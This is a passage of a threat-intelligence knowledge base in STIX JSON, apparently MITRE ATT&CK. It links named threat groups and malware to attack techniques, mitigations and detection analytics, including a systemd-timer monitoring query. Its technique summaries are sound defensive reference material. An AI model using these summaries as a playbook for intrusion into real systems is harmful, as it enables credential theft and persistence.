2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf"}],"modified":"2020-03-31T12:39:16.694Z","description":"[Lurid](https://attack.mitre.org/software/S0010) performs XOR encryption.(Citation: Villeneuve 2011)","relationship_type":"uses","source_ref":"malware--251fbae2-78f6-4de7-84f6-194c727a64ad","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2174c465-8855-4c92-a683-97eb0eba9f7c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-17T23:33:15.703Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--217ad0a6-f693-416e-9ae4-bcc0c533ce9f","type":"relationship","created":"2020-06-29T04:05:19.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-11T20:25:41.108Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) can use SSL/TLS encryption for its HTTP-based C2 channel. [ComRAT](https://attack.mitre.org/software/S0126) has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21859ef1-0c9f-4dc5-a4d8-0613d3636c83","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--218617ce-6474-4fd4-920e-88207c5aa219","type":"relationship","created":"2020-12-30T16:39:34.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}],"modified":"2020-12-30T16:39:34.497Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used rundll32 during execution.(Citation: Cybereason Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2188382d-d557-4a81-9713-7ef4cc675e76","type":"relationship","created":"2019-07-08T15:24:24.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2020-11-23T17:29:47.267Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has gathered credentials from the Windows Credential Manager tool.(Citation: Symantec Waterbug Jun 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--218a923b-2909-4186-8cf7-8fbfed6f2aaf","type":"relationship","created":"2021-04-12T19:26:30.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"McAfee Dianxun March 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf","description":"Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T18:47:23.217Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has sent malicious links including links directing victims to a Google Drive folder.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: McAfee Dianxun March 2021)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21900cf5-72e2-4661-b137-0753710b4f9d","created":"2022-02-01T16:26:43.431Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) can send victim data to an actor-controlled C2 server.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T20:36:05.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21907ead-e794-49fd-aa4b-df2c51cdc599","type":"relationship","created":"2020-10-19T23:54:29.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-22T01:54:23.154Z","description":"Keep system images and software updated and migrate to SNMPv3.(Citation: Cisco Blog Legacy Device Attacks)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--219529c9-e3e3-4c73-b502-6782ddd7d26c","created":"2024-09-17T16:10:03.822Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:10:03.822Z","description":"(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21972d6c-e581-40e3-91f3-7aaa48f86885","created":"2024-05-23T22:51:12.330Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:51:12.330Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) uses services such as IVPN, SurfShark, and Tor to add anonymization to operations.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--219dcd0b-a6fe-47d4-99b9-24d945b1f168","type":"relationship","created":"2020-03-17T13:31:00.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Banking Malware Jan 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."},{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.","url":"https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/","source_name":"Carbon Black Emotet Apr 2019"},{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-07-15T18:05:15.629Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Carbon Black Emotet Apr 2019)(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21a03de2-8f56-4d49-acd5-531b0075df26","type":"relationship","created":"2020-11-10T19:15:14.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:27:14.913Z","description":"[Javali](https://attack.mitre.org/software/S0528) can use large obfuscated libraries to hinder detection and analysis.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21aa8534-0280-4109-8dfb-6adbc2310dd8","created":"2022-05-31T19:34:16.187Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Ensure that proper policies are implemented to dictate the secure enrollment and deactivation of MFA for user accounts.","modified":"2022-07-19T18:21:20.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21ad0084-2f19-4559-9de1-dc06d1809ef0","created":"2024-09-04T13:21:31.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-14T13:46:03.242Z","description":"Implement secure out-of-band alerts to notify security teams of unusual local email activities, such as mass forwarding or large attachments being sent, indicating potential data exfiltration attempts.(Citation: TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21b87986-57d0-45a7-9a42-f3e7803cf337","created":"2023-08-03T20:49:32.431Z","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T20:49:32.431Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has appended copies of the ntds.dit database with a .gif file extension.(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21b929b8-8fec-47a5-8f98-554a043f9de5","created":"2020-07-15T20:23:36.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.250Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has used user mode rootkit techniques to remain hidden on the system.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21c130df-4123-4f57-9ea2-9ceac05af597","type":"relationship","created":"2019-03-11T16:44:33.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.246Z","description":"[Empire](https://attack.mitre.org/software/S0363) is capable of capturing screenshots on Windows and macOS systems.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21c14374-e5a7-4a68-8ae8-12d5e47c1e63","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.915Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21c271aa-7bdd-44ea-afd0-ca3f542ee425","created":"2023-02-08T20:29:20.249Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T20:29:20.249Z","description":"\n[Brute Ratel C4](https://attack.mitre.org/software/S1063) can create Windows system services for execution.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21c35f42-8d8f-4674-b57d-49398233f62b","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for changes made to windows registry keys and/or values that may stop or disable services on a system to render those services unavailable to legitimate users.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21c6fdbf-ec0e-4736-a298-b44bf3e80740","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:15:12.504Z","description":"Monitor for changes made to systemd timer unit files for unexpected modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAnalytic 1 - Look for systemd timer file modifications with unusual parameters.\n\nsourcetype=linux_file_audit (file_path=\"/etc/systemd/system/*.timer\" OR file_path=\"/etc/systemd/system/*.service\" OR file_path=\"~/.config/systemd/user/*.timer\" OR file_path=\"/usr/lib/systemd/system/*.timer\")\n| stats count by user host file_path action\n| where action=\"Create\" OR action=\"Write\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21caad94-1568-4e40-8e38-c0f7e854aede","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:06:31.784Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) used Base64 to encode C2 traffic.(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21cd565f-4cdc-46d6-95b3-32b2d618674e","type":"relationship","created":"2020-10-21T18:31:51.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.664Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) requires the user to double-click the executable to run the malicious HTA file or to download a malicious installer.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21ce896b-e6b5-4075-8d97-6b59c269247c","type":"relationship","created":"2020-01-23T19:09:49.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:47:52.742Z","description":"Use application control configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21d94923-38bb-489d-bc6a-23e03fef7b91","type":"relationship","created":"2020-05-28T14:00:25.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T14:00:25.604Z","description":"(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21ea4371-e692-4731-9f8c-c3f4dff3c775","type":"relationship","created":"2019-06-13T16:04:04.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:48:46.226Z","description":"Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud 